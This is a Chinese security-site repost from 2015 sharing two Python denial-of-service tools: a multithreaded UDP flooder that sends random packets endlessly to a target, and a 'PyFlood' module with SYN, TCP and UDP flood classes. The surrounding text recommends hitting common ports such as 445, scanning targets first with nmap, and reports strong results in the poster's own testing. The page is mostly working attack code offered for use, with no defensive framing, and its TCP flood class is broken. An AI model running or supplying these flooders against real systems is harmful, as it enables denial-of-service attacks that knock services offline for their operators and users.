栏目导航: 首页 > 检测提权 > 拒绝服务 > 内容

一个python版本多线程udp flooding的小程序

www.hx99.net    时间: 2015-03-16    阅读: 次     整理: 华西安全网
#!/usr/bin/python
import socket
import threading
import random
import sys

###########################################
#
# Author: sniker
# Contact: irc.eth0.info
#
# eth0 will prevail. || irc.eth0.info
#
############################################

class attack(threading.Thread):
    def __init__ (self, ip, port, psize):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.psize = psize

    def run(self):
        print "Thread initiated, flooding " + self.ip + ":" + str(self.port) + "."
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes = random._urandom(self.psize)
        while True:
            sock.sendto(bytes,(self.ip, self.port))


if len(sys.argv) < 2:
    print "Usage: "+ sys.argv[0] +" IP PORT(optional, default random) PACKETSIZE(optional 0-65500 default 1024) THREADS(optional default 10)"
    sys.exit()

try:
    threads = sys.argv[4]
except NameError:
    threads = 10
except IndexError:
    threads = 10

try:
    if int(sys.argv[3]) > 0 and int(sys.argv[3]) <= 65500:
        psize = int(sys.argv[3])
        print psize
    else:
        psize = 1024
except IndexError:
    psize = 1024


for host in range(int(threads)):
    try:
        port = sys.argv[2]
    except IndexError:
        port = random.randrange(1, 65535, 2)
    at = attack(sys.argv[1], int(port), int(psize))
    at.start()
 
 
比较常用的udp端口如445端口,也可以提前用nmap或者superscan扫一下目标主机

我自己测试效果还是很显著的。
 
 
----------------------------------------------------------
再贴一个模块,包含syn ,udp,tcp三种方式
 
# PyFlood DoS Flooder
# Version 1.0.0
# Coded by InvisibleMan in Python 3.3.2
# Download : N/A
# File     : pyflood.py
 
#IMPORTS
import random
import socket
import sys
import threading
 
#SYN FLOOD
class synFlood(threading.Thread):
    def __init__(self, ip, port, packets):
        self.ip      = ip
        self.port    = port
        self.packets = packets
        self.syn     = socket.socket()
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                self.syn.connect((self.ip, self.port))
            except:
                pass
 
#TCP FLOOD
class tcpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.tcp     = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                socket.connect(self.ip, self.port)
                socket.setblocking(0)
                socket.sendto(bytes,(self.ip, self.port))
            except:
                pass
 
#UDP FLOOD
class udpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                if self.port == 0:
                    self.port = random.randrange(1, 65535)
                self.udp.sendto(bytes,(self.ip, self.port))
            except:
                pass
 
本文来源:华西安全网[http://www.hx99.net]
发表评论】【告诉QQ好友】【错误报告】【加入收藏】【关闭